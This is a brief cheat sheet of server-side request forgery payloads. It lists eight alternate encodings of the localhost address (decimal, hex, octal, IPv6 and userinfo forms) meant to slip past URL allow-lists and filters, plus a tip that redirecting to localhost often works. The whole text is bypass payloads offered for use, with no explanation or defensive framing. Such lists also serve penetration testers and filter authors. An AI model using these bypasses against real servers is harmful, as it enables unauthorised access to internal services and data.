Server Side Request Forgery (SSRF)

http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01

Also using a redirect to localhost will often work.

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